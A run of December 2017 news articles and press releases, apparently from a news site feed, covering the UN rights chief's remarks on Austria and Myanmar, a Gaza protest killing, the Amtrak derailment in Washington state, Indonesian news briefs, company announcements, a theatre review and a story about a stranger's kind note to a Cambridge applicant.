"I am unsettled by what has happened in Austria," Zeid said, accusing Kurz of moving "hard-right on the issue of immigration ... (to) secure the votes that had previously gone to Freedom Party in order to win the chancellorship."

- 'Complete opportunism' -

Kurz, he warned, had displayed "complete opportunism", and was setting a dangerous example for politicians around Europe.

"I think the demonstration effect to other leaders in Europe could be something that we need to pay a deep attention to," Zeid said.

Others, such as France's Marine Le Pen and Geert Wilders in the Netherlands, who have been unable to win at the ballot box with a purely hard-right approach might learn from Kurz's approach, he warned.

"That is a dangerous development."

Zeid harshly criticised politicians willing to turn to "the peddling of fear as a means of getting to political office."

He warned of the rise of a "sort of ethnonationalism" across Europe and stressed that the continent had been beset by such ideas before.

"We just have to wind back 104 years (to before World War I) and we were there," he said.

"The extreme right really has to think very carefully (about) where they are leading their countries and the continent more generally."

Europe is not the only place beset by populist rhetoric.

Zeid reiterated his warning that US President Donald Trump's relentless attacks on the media could trigger violence against journalists.

And he cautioned that Trump's comments have "seemed to find an echo in other countries where leaders who were inclined to shut down civil society or the media were resorting to the same language."

"I think we all recognize how dangerous that is," he said.

- Possible 'genocide' -

One place where the "fake news" label has been used to dismiss uncomfortable reports is Myanmar, where a brutal crackdown on the Rohingya minority has left thousands dead and seen more than 655,000 people flee across the border into Bangladesh in the past four months.

Myanmar has consistently denied committing atrocities in Rakhine, saying the crackdown was a proportionate response to the Rohingya militants who attacked police posts on August 25, killing around a dozen officials.

But Zeid said the evidence did not seem to support that, but instead indicated that "these operations were organized and planned."

"You couldn't exclude the possibility of acts of genocide... You cannot rule it out as having taken place or taking place," he said, adding that courts would need to determine if the word was truly appropriate.

He said he had faith that the perpetrators would eventually be brought to justice.

"Those who are committing crimes now and believe they have security, they have the support of great powers ... shouldn't feel so self-assured about this," Zeid said.

He also said courts should determine how much responsibility Myanmar's civilian leader and Nobel Peace Prize laureate Aung San Suu Kyi held for the violence.

"The evidence will point eventually to who's culpable and who isn't."

- Extreme barbarity -

Accountability is also key to ending the devastating and drawn-out conflicts in Syria and Yemen, Zeid said, insisting that perpetrators of a wide array of horrifying abuses there "have to be dragged up before courts."

"It cannot be that we have seen this extreme barbarity, and no one is held legally responsible for it," he said.

Zeid, who has not shied away from criticising countries large and small alike since he took over the UN rights office in September 2014, told AFP he would not be seeking a second mandate when his term expires next August.

"I will move on to other issues," he said, adding that he believed heading the UN rights office should be a one-term position to avoid any pressure to "negotiate" the necessary country support for a second term.

"I think it is important to always maintain the integrity of this office," he said, adding that "any suggestion of wheeling and dealing ... on the back of rights is lamentable."

Topics : Austria Myanmar genocide US
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Linkedin (Agence France-Presse) Geneva, Switzerland  Tue, December 19, 2017 20:20 1794 1f87594453bb792833e1ece3a2e3a969 2 World Israel,occupation,rally,death,disabled-people Free

The UN's human rights chief said Tuesday he was "truly shocked" by Israeli troops' killing of a wheelchair-bound Palestinian protester in Gaza, and demanded an "independent and impartial investigation".

Ibrahim Abu Thurayeh, a 29-year-old who lost his legs after an Israeli attack a decade ago, was among five Palestinians killed on Friday during protests against US President Donald Trump's decision to recognise Jerusalem as the capital of Israel.

In a statement, UN High Commissioner for Human Rights Zeid Ra'ad Al Hussein slammed Trump's decision as "dangerously provocative" and blamed it for the violence.

The UN human rights office said Abu Thurayeh was among hundreds of Palestinians who marched across farmland towards the fence separating Gaza from Israel, and appeared to have been shot in the head when he was 20 metres (yards) from the barrier.

"The facts gathered so far by my staff in Gaza strongly suggest that the force used against Ibrahim Abu Thurayeh was excessive," Zeid said.

"As far as we can see, there is nothing whatsoever to suggest that Ibrahim Abu Thurayeh was posing an imminent threat of death or serious injury when he was killed.

"Given his severe disability, which must have been clearly visible to those who shot him, his killing is incomprehensible  a truly shocking and wanton act."

Having no legs did not stop Ibrahim Abu Thuraya from protesting Israel's oppression in Gaza today but an Israeli bullet to the head did. He was killed in Gaza today. pic.twitter.com/SyHxqiNY42  (((YousefMunayyer))) (@YousefMunayyer) December 15, 2017

In video footage recorded early on Friday, Abu Thurayeh could be seen carrying the Palestinian flag and waving the victory sign at Israeli soldiers across the border.

Palestinians consider at least part of Jerusalem, which is under full Israeli control, as the capital of their future state and have been infuriated by the decision.

"Israeli security forces have responded with firearms, including live-ammunition, to disperse the protesters," the rights office said.

Ibrahim Abu Thuraya lost his legs when Israel bombed his home in Gaza in 2008. Today he was shot and killed by Israeli occupation forces. pic.twitter.com/virqxpDvpt  CJ Werleman (@cjwerleman) December 15, 2017

"These events, including the loss of five irreplaceable human lives, can sadly be traced directly back to the unilateral US announcement on the status of Jerusalem, which breaks international consensus and was dangerously provocative."

While the Israeli army has reportedly conducted a preliminary internal probe into the events, Zeid urged "an independent and impartial investigation" to ensure perpetrators are held accountable.
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Linkedin (AFP) St Louis  Tue, December 19, 2017 08:46 1795 1f87594453bb792833e1ece3a2e12741 2 World murder-case,trial,US Free

A former US death row inmate whose conviction in the rape and killing of two sisters was overturned, admitted to the crimes Monday after decades of denial and was resentenced.

Reginald Clemons of the state of Missouri pleaded guilty as part of an agreement with prosecutors to spare him the death penalty. The 46-year-old was given life in prison on five counts of rape, murder and robbery.

Clemons and three accomplices were tried and convicted for the 1991 killings of Julie and Robin Kerry -- two sisters in the city of St Louis who were 20 and 19 years old, respectively.

The sisters were thrown off a well-known St Louis bridge that was a historic part of the famed Route 66, according to authorities.

Clemons had served 22 years on death row, with supporters rallying to his cause, saying his initial trial had not been fair. His sentence was overturned in 2015 on the grounds that police beat him into confessing and hid some evidence.

Prosecutors decided to retry the case.

"I hope that this guilty plea brings some measure of peace to the... families and the community as a whole," Missouri Attorney General Josh Hawley said in a statement.

St Louis prosecutor Jennifer Joyce, who made the decision to retry Clemons, said many were taken in by his years of "false claims of innocence."

"Clemons is a monster to put the victims' family through this decades-long ordeal, knowing he was guilty of these unspeakable crimes all along," Joyce said, according to the St Louis Post-Dispatch.

Of the three others accused of the killings, Marlin Gray was executed in 2005, while Antonio Richardson and Daniel Winfrey are serving prison sentences.
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Linkedin Kathryn Elsesser (Agence France-Presse) DuPont, United States  Tue, December 19, 2017 17:41 1794 1f87594453bb792833e1ece3a2e322fb 2 World US,Transportation,accident,Washington Free

US investigators said an Amtrak passenger train was traveling at more than double the speed limit before it derailed in Washington state, plunging off a bridge onto a busy highway and killing at least three people.

Preliminary information obtained from an event data recorder in the rear locomotive showed the train, which was traveling on a new route for the first time, was speeding at 80 miles (128 kilometers) per hour in a 30 mph zone.

But Bella Dinh-Zarr, vice chair of the National Transportation Safety Board (NTSB) told reporters it was "too early to tell" why the train was traveling so fast.

The train, which was carrying 77 passengers and seven crew, derailed in DuPont, about 50 miles south of Seattle, on a curve that passes over busy Interstate 5 at about 7:40 am (1540 GMT).

Pictures from the scene showed one mangled train carriage lying upside down on the interstate highway, while others dangled from the overpass at a precarious angle

Several other carriages also ended up on the highway, shutting down a key section of the busy artery that connects the greater Seattle metropolitan area to Olympia. All but one of the 14 train cars jumped the tracks.

A faster service

Washington State police spokeswoman Brooke Bova confirmed the death toll, and said that of the 100 or so people who were injured, several were in critical condition.

"We don't know if that number will change," she warned.

Officials gave no reason for the derailment of southbound Amtrak train 501, the inaugural run of a new service promising faster connections between Seattle and Portland, Oregon.

The scene after an Amtrak high speed train derailled from an overpass early Dec. 18, 2017 near the city of Tacoma, Washington state. (Agence France -Presse/Kathryn ELSESSER)

Local officials had warned only weeks ago that the track might not be safe enough to handle trains at higher speeds.

Federal investigators would visit the scene on Tuesday to begin an investigation which would last between a week and 10 days, Dinh-Zarr said.

Information obtained from the front locomotive's data recorder, which has been more difficult to access, would potentially lend more insight, she added.

'People were screaming'

Chris Karnes, a local transit official who was aboard at the time, described the moment when the train veered of the tracks.

"All of a sudden, we felt this rocking and creaking noise, and it felt like we were heading down a hill," he told KIRO-TV.

"The next thing we know, we're being slammed into the front of our seats, windows are breaking, we stop, and there's water gushing out of the train. People were screaming."

The distress call was placed by a conductor on board, who can be heard in an audio recording, saying: "Amtrak 501, emergency emergency emergency, we are on the ground."

"We were coming around the corner to take the bridge over I-5 there... and we went on the ground," he said.

"We got cars everywhere and down onto the highway."

LISTEN: Harrowing radio transmission from deadly Amtrak train derailment: "Amtrak 501. Emergency. Emergency. Emergency. We are on the ground." https://t.co/xyhXhg3Idg pic.twitter.com/oVn0Mj8Qp6  ABC News (@ABC) December 19, 2017

The train hit five vehicles and two trucks, police said.

But there were no deaths among those on the highway below, a spokesman for Pierce County Sheriff's Department said.

Amtrak president and co-chief executive Richard Anderson said he was "deeply saddened" and pledged to do "everything in our power to support our passengers and crew and their families."

Safety concerns

The accident marred the launch of faster services on the route after a $181-million upgrade project to improve the rails, the locomotives and the signaling technology.

The trains were expected to reach speeds of 79 mph through the densely-populated area with the improved systems and track.

But local officials had worried about them taking curves in the area at higher speeds.

In early December, local mayor Don Anderson had warned that more needed to be done to ensure safety on the route.

"Come back when there is that accident, and try to justify not putting in those safety enhancements," he said at the time, according to KOMO News.

The local transit official who was on board at the time said the tracks were supposed to have been upgraded to accommodate higher speeds.

"I'm not sure what happened," Karnes said.

Trump pledges investment

US President Donald Trump said the accident underscored the need to invest in infrastructure.

"Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!" he tweeted.

The train accident that just occurred in DuPont, WA shows more than ever why our soon to be submitted infrastructure plan must be approved quickly. Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!  Donald J. Trump (@realDonaldTrump) December 18, 2017

The new Siemens Charger locomotives were equipped with "positive train control" safety systems, designed to automatically stop the train in dangerous situations and mandated for trains around the country.

But the technology was only expected to be used next year when it is activated on the entire rail corridor, according to the Washington State Department of Transportation.

Dinh-Zarr said investigators were checking to see whether the technology had been installed in this particular track section.

In 2015, an Amtrak train traveling well above the designated speed derailed in Philadelphia, killing eight.

At the time, analysts said positive train control technology could have prevented the accident.

Topics : US Transportation accident Washington
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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 19:55 1794 1f87594453bb792833e1ece3a2e38f76 1 National food,sago,FAO,Southeast-Sulawesi Free

The United Nations Food and Agriculture Organization (FAO) in collaboration with Indonesian government has officiated the first integrated sago palm processing facility in Southeast Sulawesi as part of a food diversification program.

It is also aimed at increasing food production to end hunger and malnutrition.

Southeast Sulawesi was chosen as the location for the program as it is the largest sago area in the country after Papua with more than 5,000 hectares of sago farms. For generations, people in Southeast Sulawesi have harvested and consumed sago from palms in the forest as a source of carbohydrate besides rice and corn.

The project comprises three programs, namely developing a sago farm with an agro-economic approach, building an integrated hygienic and no-waste sago processing unit and creating an integrated business unit that manages sago farming, processing and marketing.

The integrated plant was officially opened in Labela village, Besulutu subdistrict in Konawe district on Monday.

I hope the integrated sago processing center will lift sago to become a product on the global market and improve the wealth of Besulutu villagers and the people of Konawe, Konawe Food Security Agency head M. Akbar said in an FAO press release.

Meanwhile, Mark Smulders from the FAO urged all parties to support the sustainability of the sago industry.

Only through a collective effort by all stakeholders will this tremendous opportunity turn sago palm cultivation and processing into a viable rural industry of an important staple food native to eastern Indonesia, he said in the statement. (vla/rin)
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Linkedin (Agence France-Presse) Riyadh, Saudi Arabia  Tue, December 19, 2017 19:26 1794 1f87594453bb792833e1ece3a2e37c33 2 World Yemen,war,missile,Riyadh Free

Saudi Arabia said it intercepted a Yemeni rebel missile over Riyadh on Tuesday, as the rebels said the target was Yamamah palace, the official residence of King Salman.

An AFP correspondent heard a loud explosion at 1050 GMT, shortly before the scheduled unveiling of the Saudi budget, which is usually announced from the Yamamah palace by the king.

"Ballistic missile intercepted over Riyadh," the Saudi-led coalition battling Yemen's Huthi rebels said in a statement.

It was the second Huthi missile attack on Riyadh in the past two months.

The first attack, which targeted Riyadh international airport on November 4, triggered the tightening of a longstanding Saudi-led blockade of Yemen -- already on the verge of famine.

Saudi Arabia angrily accused its arch foe Iran of supplying the missile to the rebels, a charge Tehran strongly denied.

On Thursday, US ambassador to the United Nations Nikki Haley presented what she called "undeniable" evidence that last month's missile was "made in Iran".

But her comments went beyond the findings of a UN investigation which reached no firm conclusion on whether the missile came from an Iranian supplier, saying only that it had a "common origin" to some Iranian designs.

Topics : Yemen war missile Riyadh
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Linkedin Indra Budiari (The Jakarta Post) Jakarta  Wed, December 20 2017

As the end of the year is just around the corner, 2017 has been exhausting for the government in terms of protecting Indonesian citizens overseas, with a rising number facing death sentences, some being recruited to fight for the Islamic State (IS) group and fishermen being kidnapped by a Philippine terrorist group.

Based on its own data, this year the Foreign Ministry handled 35 more criminal cases that could have put Indonesians on death row. That brought the total number of cases in which Indonesians have faced capital punishment over the last four years up to 165.

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Linkedin (The Jakarta Post) Brazil  Wed, December 20 2017

President Michel Temer has postponed a plan to visit Indonesia and other Southeast Asian countries next month as he is still in recovery following minor surgery.

The 77-year-old president underwent surgery last week to remove a urethral obstruction at the Sirio-Libanes Hospital in Sao Paolo, Brazil, Agence France-Presse reported. Temer had left the hospital but the medical condition prevents to continue with the visit plan.

President Michel Temer has postponed his visit to Southeast Asia due to health issues that prevent him from taking long trips, an envoy at the Brazilian Embassy told The Jakarta Post.

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VANCOUVER, British Columbia, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Goldrea (CSE:GOR) (Frankfurt:GOJ) (Pink Sheets:GORAF) entered into agreement in the form of a non-binding LOI with Tabu Investments, dated October 23, 2017. Tabu is a company focused on the cannabis sector. Their website is www.tabu.co.

Tabu currently has an LOI signed with Spliffin of California dated December 18, 2017, to begin operations in Canada. Tabu is to issue 40,000,000 shares of Tabu, plus a half warrant at twelve cents, to Spliffin. Tabu intends to assist Spliffin with a CSE public listing, and Spliffin intends to arrange up to $7.5 million in financing for Tabu's construction of a marijuana facility. Spliffin is a company in a variety of cannabis related businesses. Terms of the deal and valuations will be independently assessed. Tabu also is in an LOI agreement, dated November 15, 2017, to own 40% of Planters Guide, at a cost of 400,000 shares of Tabu and $40,000 cash. Planter's Guide is an on-line media site catering to growers and sellers of marijuana, and the industry as a whole.

It is anticipated that there is a share exchange with Tabu for Goldrea shares. Terms are not known at this time. Upon further due diligence and the Spliffin definitive agreement, confirmed terms will be announced. There is no guarantee that Tabu's LOI with Spliffin and Planter's Guide will be completed. Upon completion of a definitive agreement, partnership between Goldrea and Tabu is expected to add strength to the deal by providing a public platform of investment.

For more information, please contact:

James Elbert, President and CEO

Telephone: (604) 559-7230

Email: jelbert@goldrea.com

The CSE has not reviewed and does not accept responsibility for the adequacy or accuracy of this release. This news release may contain forward-looking statements, which are statements about the future based on current expectations or beliefs. For this purpose, statements of historical fact may be deemed to be forward-looking statements. Forward-looking statements by their nature involve risks and uncertainties, and there can be no assurance that such statements will prove to be accurate or true. Investors should not place undue reliance on forward-looking statements. The Company does not undertake any obligation to update forward-looking statements except as required by law.
Cecilia Ruthstrom-Ruin (third right), the Swedish Foreign Affairs Ministrys deputy head for Asia and the Pacific, shares a light moment with Muhammad Anshor (second left), the Indonesian Foreign Ministrys director general for American and European affairs, during the latters visit to Stockholm last week. A statement issued on Tuesday said that during the fifth Bilateral Consultation Forum, the two senior officials agreed to continue to expand the friendly and mutually beneficial relations between Indonesia and Sweden.(Indonesian Embassy to Sweden)
DENVER, Dec. 19, 2017 (GLOBE NEWSWIRE) -- General Cannabis Corporation (OTCQB:CANN) today announced that it has entered into an agreement to sell its real estate investment in Pueblo, Colorado. On December 18, 2017, General Cannabis Corp and RDR Realty, LLC, a non-affiliated entity (RDR), entered into an agreement pursuant to which General Cannabis agreed to sell to RDR the General Cannabis Pueblo West Property (Property) for gross consideration of $625,000 in cash. The Property consists of three acres of land, which includes a 5,000 square-foot building and parking lot. The closing date of the Agreement is December 29, 2017.



There are certain conditions to closing the sale. If RDR is unable to close on December 29, 2017, RDR has the right to extend the close of escrow to January 15, 2018, by depositing an additional $37,500 into escrow. The entire $62,500 of earnest money will not be refundable to RDR and will be applied to the purchase price when closing occurs.

The sale is in keeping with General Cannabis long-term strategy of investing for total return in order to continue delivering superior long-term value creation to shareholders.

About General Cannabis Corp.

General Cannabis Corp. is the comprehensive national resource for the highest-quality service providers available to the regulated cannabis industry. We are a trusted partner to the cultivation, production and retail sides of the cannabis business. We do this through a combination of strong operating divisions such as security, marketing, operational consulting and products, real estate and financing. As a synergistic holding company, our divisions are able to leverage the strengths of each other, as well as a larger balance sheet, to succeed. Our website address is www.generalcann.com.

Forward-looking Statements

This presentation contains forward-looking statements that relate to future events or General Cannabis' future performance or financial condition. Such statements include without limitation statements regarding the anticipated closing date of the sale of the Property and statements regarding General Cannabis long-term strategy. Any statements that are not statements of historical fact, such as the statements above and including statements containing the words "plans," "anticipates," "expects" and similar expressions, should also be considered to be forward-looking statements. These forward-looking statements are not guarantees of future performance, condition or results and involve a number of risks and uncertainties. Actual results may differ materially from those in the forward-looking statements as result of a number of factors, including that the conditions to closing the sale may not occur or the sale may not otherwise occur, and including those described from time to time in General Cannabis' filings with the Securities and Exchange Commission. General Cannabis undertakes no duty to update any forward-looking statements made herein.

Contact

Robert Frichtel

CEO, General Cannabis Corp

(303) 759-1300
KANSAS CITY, Mo., Dec. 19, 2017 (GLOBE NEWSWIRE) -- Over 600 attendees gathered in Phoenix for the second annual Caravan Health Accountable Care Symposium on December 6-7, 2017. This years event featured thought leaders, industry experts, panel discussions and breakout sessions that addressed the most pressing concerns of health system leaders today.



The event included a banquet dinner where Caravan Health presented the Population Health Pioneer Awards. This was an opportunity to honor healthcare organizations and individuals who transcended quality of care in 2017.

Our ACO partners achieved more than $26 million in savings in 2016 and more than 90 percent are on track to reduce spending in 2017, said Lynn Barr, Caravan Health chief executive officer. The Population Health Pioneer Awards Ceremony is an opportunity to recognize the outstanding achievements of our participants, and to say thank you for their dedication to improving care in their communities.

The organizational awards were based on data used to measure ACO quality. Individual awards were based off of peer nominations in ACO, Comprehensive Primary Care Plus (CPC+) and Transforming Clinical Practice Initiative (TCPI) programs.

Organizational award winners for care coordination, cost reduction and ACO operations:

Illinois Rural ACO

Mountain West ACO

North Mississippi Connected Care Alliance ACO

Suburban Health ACO

Winding River ACO

ACO of the Year: Magnolia-Evergreen ACO, $10 million in savings

Individual awards winners:

Heather Geary: Most Valuable Care Coordinator  ACO

Melanie Van Winkle: Practice Manager Leader  ACO

Emily Padula: All Star ACO Champion  ACO

Catherine Chua, DO: Outstanding Physician Leadership  ACO

Amy McDaniel: ACO Board Chair of the Year  ACO

Michael Hurt, MD: ACO Medical Director Champion  ACO

Genevieve Larimar: Most Valuable Care Coordinator  TCPI

Susan Welter: Practice Manager Leader  TCPI

Renee Diamond: Outstanding Physician Leadership  TCPI

Julie Stahl: Most Valuable Care Coordinator  CPC+

Trevor Collins: Practice Manager Leader  CPC+

Randall Suzuka: Outstanding Physician Leadership  CPC+

For more information about the Accountable Care Symposium, visit www.caravanhealth.com/symposium.

About Caravan Health

Caravan Health builds ACOs that jump-start population health programs with immediate quality and financial wins. Hospitals can finally get the high- quality scores, new competencies, and strong physician relationships that have been out of reach. By quickly producing positive results and accelerating health care transformation, we engineer your organization to succeed in population health payment models. For more information, visit www.CaravanHealth.com.

Attachments:

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Ken Ludwig took Sir Arthur Conan Doyles third crime novel featuring Dr. Watson and Sherlock Holmes and decided to reboot it with one simple aim; to entertain.

The original tale, The Hound of The Baskervilles, was published serially in The Strand Magazine between 1901 and 1902. Despite having been adapted many a time for TV and film, I felt an air of excitement for the anticipation of seeing the mystery unfold on stage. The intimacy of the theatre only heightened the essence of the story, leaving me on the edge of my seat before it even began.

With the opening scene, I wasnt to be disappointed. We are instantly introduced to the world in which the play is set and the plot begins with, of course, a tragic death. The initial scene played in the background and created by the animation and video designer, Paddy Molloy, gives us our first view of the estate. As the cloaked actor moves forward on stage, the rest of the production plays with distance perception and sound effects from all angles of the theatre to create an eerily life-like environment. This opening captures the audiences attention and the theatre falls silent in an instant.

Dr Watson, played by Patrick Robinson, elegantly guides us through the tale as narrator and so the link is made between Holmes and the goings-on surrounding Sir Charles Baskervilles newly inherited estate. Within the play there are a total of thirty-five characters, thirty-three of which are impressively played by the same three actors. Costume and well choreographed movement helps us to keep track of who is who whilst continually adding in the element of humour. When there are moments where even the greatest actor would be unable to switch character successfully, slapstick comedy comes into effect with positive results.

The one thing which made me ever so slightly disheartened going into the show was the price of tickets. If youre on a student budget, Id suggest trying to book a matinee performance as its certainly not one to be missed and with the current weather, you would more than likely be leaving in the dark anyway. The technical aspects did somewhat make up for this, as you could tell the money had gone to good use.

After such a fantastic opening, the play seems to dip only slightly towards the end of the first act. However, the second act certainly makes up for it with the build up to the big reveal and beyond being perfectly paced. The one aspect which made this play stand out for me has to be the ending. This is the part I often dread as the action comes to a close and you wait for the ends to be tied before going off on your merry way. Ths was not the case in Baskerville; in fact, without giving too much away, it keeps you on your toes right until the very end.

Baskerville runs until Saturday 13th January at Liverpool Playhouse, details of which can be found here.
A hopeful Cambridge University applicant is searching for a stranger who sent him an unexpected note of encouragement on a train.

Joe Wren, 17, from Ashington, Northumberland, was travelling from Peterborough to Morpeth with his parents when they got talking to another passenger about the interview he had just undertaken to study for a Masters in Mathematics at Robinson College, Cambridge.

As they were chatting, Joe noticed a man in his forties working away but was not expecting what came next.

On the train back we were talking about my Cambridge interview, when I got up to leave the guy sitting on the next table handed me this envelope with 10 enclosed as well with a lovely note on. Im still in shock, this nice gesture will stay with me for the rest of my life. pic.twitter.com/Jnxq2t3uiI  Joe Wren (@JoeHWren) December 12, 2017

As we got up to get off the train at Morpeth, this man stood up said Good luck with Cambridge and shook my hand, in his hand was this envelope, Joe told the Press Association.

On the envelope was written a heartfelt message of encouragement and inside was a gift of 10.

Hello, the note read. We havent ever spoken but I really wanted to wish you luck with your application to Cambridge.

He goes on to say the cash is a small token of how I believe great students like you should have the chance to study.

Joe said he was dumbfounded by the note, which he shared on Twitter on Tuesday. His tweet has received over 141 retweets so far.

This is unreal!!! If this ever gets back to the stranger that done this for my brother.. lets have a drink sometime.. you sir are an absolute diamond https://t.co/1kTvHToeRC  ross thompson (@rossi_NE63) December 12, 2017

Sadly as the train was stopping I didnt have time to talk to this man, I just went back in the carriage and shook his hand, said he was a very nice man and then we had to leave.

Since Joes thank you was so hurried, he would love the chance to meet the generous stranger and tell them how amazing they are and that they embody what is nice about humanity.

I would love this man to get the recognition he deserves, so many times these kind of things go completely unnoticed.

Joes brother also got behind the hunt, retweeting his brothers original tweet.

Whether or not Joes application is successful, he has certainly learned something from this experience.

When I read the note all I could think to myself was how amazing this man was and that this was an incredible act of kindness  I will never ever forget this experience and it has inspired me to try to be kind to everyone I meet.

Joe will find out if he has gained a place at Cambridge in January.
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LOS ANGELES, CA, Dec. 19, 2017 (GLOBE NEWSWIRE) -- World Poker Fund Holdings, Inc. (OTC PINK: WPFH), a leading developer and operator of online and event-based social gaming platforms and brands, announces today that it has signed an international slot machine gaming partnership, is launching a new line of business in cryptocurrency mining, and has appointed a new Chairman.

WPFH has partnered with South Pacific Interactive Ltd. (SPI) to form a Nevada-based subsidiary, which will be majority owned and under the operational control of WPFH. Under the new subsidiary, WPFH has secured a gaming and slot machine distribution arrangement which includes distribution to 400 land-based casinos and 90 Indian Tribes in the U.S. WPFH, through its subsidiary, will initially roll-out at least 4,000 slot machines in 2018.

WPFH is launching a new division which will allow for the integration and use of digital currency with its existing and future technologies and applications. Initially, WPFH is developing and exploring cryptocurrency mining opportunities and wallet apps specifically geared toward social gaming projects and its users. WPFH will seek to integrate blockchain mining into its social games, casino games, and applications that WPFH players are already or will be using. By introducing a cryptocurrency-friendly wallet app, WPFH is seeking to make it easier for its users to provide payment in the currency that best fits their needs and desires.

WPFH is also exploring methods and ways to integrate and monetize (directly and indirectly) non-gaming related apps into its portfolio. WPFH hopes to expand its user database and create new marketing opportunities to promote its social gaming apps to these platforms.

WPFH also announces that Travis Kasper, Esq. has been appointed as the Chairman of the Board. Mr. Kasper brings a wealth of experience in international and corporate areas while also bringing a technological and creative perspective. Prior to being a lawyer, he worked in the world of film and television and cut his tech teeth while working with various special FX companies. He brings a sophisticated perspective that seeks to push the boundaries of the company and technology.

This is an exciting time for WPFH. We are in exciting and interesting times in the world of social and casino gaming. WPFH is poised to take advantage of all these new opportunities like cryptocurrencies, the expansion of access to online gambling and cultivating the untapped market that is the millennial generation, says Travis Kasper, Chairman of WPFH.

About World Poker Fund Holdings, Inc.

World Poker Fund Holdings, Inc. is a leading developer and operator of online and event based social gaming platforms and brands. The company is currently in the final stages of launching its two-core celebrity driven social gaming brands for online poker and casino gaming. The company does not offer any games or gaming opportunities for cash in the United States and is not licensed as a gaming operator in the United States or any other jurisdiction.

To learn more about World Poker Fund Holdings (WPFH) and its upcoming events, please visit www.worldpokerfund.com

Safe Harbor Statement

This news release contains forward-looking statements as defined by the Private Securities Litigation Reform Act of 1995. Forward-looking statements include statements concerning plans, objectives, goals, strategies, future events or performance, and underlying assumptions and other statements that are other than statements of historical facts. These statements are subject to uncertainties and risks including, but not limited to, product and service demand and acceptance, changes in technology, economic conditions, the impact of competition pricing, government regulation, and other risks described in statements filed from time to time with the Securities and Exchange Commission. All such forward-looking statements whether written or oral, and whether made by or on behalf of the Company, are expressly qualified by the cautionary statements that may accompany the forward-looking statements. In addition, the Company disclaims any obligation to update any forward-looking statements to reflect events or circumstances after the date hereof.
SAN FRANCISCO, Dec. 19, 2017 (GLOBE NEWSWIRE) -- McGuire Real Estate is pleased to announce that our exceptional community of agents continues to grow. We are proud to welcome these distinguished agents to the McGuire Family: Saira Najam, Kristine Alba, and Angela Baker.

KRISTINE ALBA is a San Francisco native whose family has a long history of managing property investments here in the city. Having purchased, remodeled, and sold several homes over the years, she has a first-hand understanding of the construction and resale challenges that come with purchasing in such a highly competitive marketplace. Kristine draws from her passion for real estate, architecture, and design to help her clients achieve their goals when navigating this dynamic San Francisco market. Prior to becoming a realtor, Kristine led creative marketing efforts for clients like Yahoo, Wells Fargo, and then District Attorney Kamala Harris. She relies on her keen understanding of the industry and savvy negotiating skills to partner with her clients and ultimately acquire the property theyre proud to call home. Kristine is a graduate of the University of California at Berkeley and volunteers her time at Convent and Stuart Hall Elementary.

SAIRA NAJAM has been involved in Bay Area real estate for several years, both as an experienced attorney and as an avid property investor herself. She has a deep understanding of the complex buying and selling process, including the legal provisions within the many contracts, and is able to offer clients with best-in-class service and results. Its incredibly important to Saira that she serve as an advocate for her clients, the kind of advocate that can scour the market to bring forth the best opportunities and cultivate and present in-depth, value-add analysis. As a former litigator, shes well versed in how to be a strong and effective advocate in any negotiation situation. She and her husband, also a fellow attorney, reside in Burlingame with their two daughtersone of whom is part of the Burlingame School District in the Spanish immersion program.

ANGELA BAKER brings hard work, enthusiasm, and sharp attention to detail to help buyers in a focused search for their new home and to help sellers get the most value for their current home. Angela draws from her years of experience in sales and marketing, as well as a certified professional wedding planner, to become an expert listener. Shes an agent who takes the time to truly understand her clients and whats important to them in their lives. Angela understands that buying and selling a home is oftentimes one of the biggest decisions her clients will make, and for her, assisting in that process is one of the greatest honors of her job. Angela graduated from Chico State as a Business Administration major with an emphasis in entrepreneurship and small business management. She also serves on the committee for the Oakland/Berkeley Young Professionals Network.

ABOUT MCGUIRE REAL ESTATE

As a local, luxury boutique that focuses on the San Francisco Bay Area's high-end niche markets, McGuire Real Estate is a privately held corporation that was founded in 1919. We are headquartered in San Francisco's Marina District with additional offices in Noe Valley and South Parkas well as in Marin County, the East Bay, and Mid-Peninsula. McGuire is the exclusive international associate of Savills PLC, headquartered in London, and is a broker member of Luxury Portfolio International, Leading Real Estate Companies of the World, and The Enterprise Network. Our luxury, global, and industry affiliations allow us to connect our agents and clients to a world-wide marketplace with exclusive opportunities.

Visit mcguire.com for more information or contact McGuire Client Care at 1.800.4RESULT and clientcare@mcguire.com. Follow McGuire Real Estate on Facebook and @mcguire_re on Twitter and Instagram.

Photos accompanying this announcement are available at:

http://www.globenewswire.com/NewsRoom/AttachmentNg/99385be6-597b-4b1e-8068-c503e3d80139

http://www.globenewswire.com/NewsRoom/AttachmentNg/5360c652-2854-4e03-9501-13ae0df46945

http://www.globenewswire.com/NewsRoom/AttachmentNg/61cbf49f-8b87-4d5e-a729-ab87a20e53fc
HERSHEY, Pa., Dec. 19, 2017 (GLOBE NEWSWIRE) -- The Hershey Company (NYSE:HSY) and the government of Cote dIvoire announced today a new partnership to increase the companys sourcing of cocoa processed in Cote dIvoire. They also agreed to expand Hersheys successful Energize Learning initiative to Cote dIvoire, aiming to improve nutrition, increase school enrollment, attendance and retention and to further develop domestic food production. The agreements come after two days of meetings between Hershey management and his excellency Daniel Kablan Duncan, Vice President of Cote dIvoire, and a delegation of high-ranking government officials.



Cote dIvoire has focused recently on increasing cocoa processing in the country. With todays announcement, Hershey and Cote dIvoire will work together on ways to increase Hersheys sourcing of cocoa products that are processed in country. Additionally, in partnership with Cote dIvoires National Nutrition Council, Hershey will produce and distribute a vitamin and mineral-fortified, nut-based nutritional supplement, ViVi, to approximately 25,000 Ivorian students, starting in 2018.

Cote dIvoire has been one of our most important partners for sourcing cocoa, said Terence ODay, Senior Vice President, Chief Product Supply and Technology Officer, The Hershey Company. We are building on our collaborative relationship with Cote dIvoire to strengthen the cocoa sector and support children in those communities so they are able to focus on their studies, rather than their stomachs.

Working with Hershey, we will be able to continue to expand our cocoa industry and provide children in the cocoa communities of Cote dIvoire with a snack that is not only nutritious, but also locally produced, said Vice President Duncan. We are proud to work with Hershey and build on our partnership to help improve the well-being of our cocoa communities and health and nutrition of children as we work to alleviate poverty in these regions.

Cote dIvoire is the worlds top exporter of cocoa and boasts a rapidly growing economy. While the future is promising, access to basic nutrition remains a challenge. The National School Feeding Counsel will distribute the ViVi nutritional supplement to children in Cote dIvoire, focusing on cocoa-producing communities.

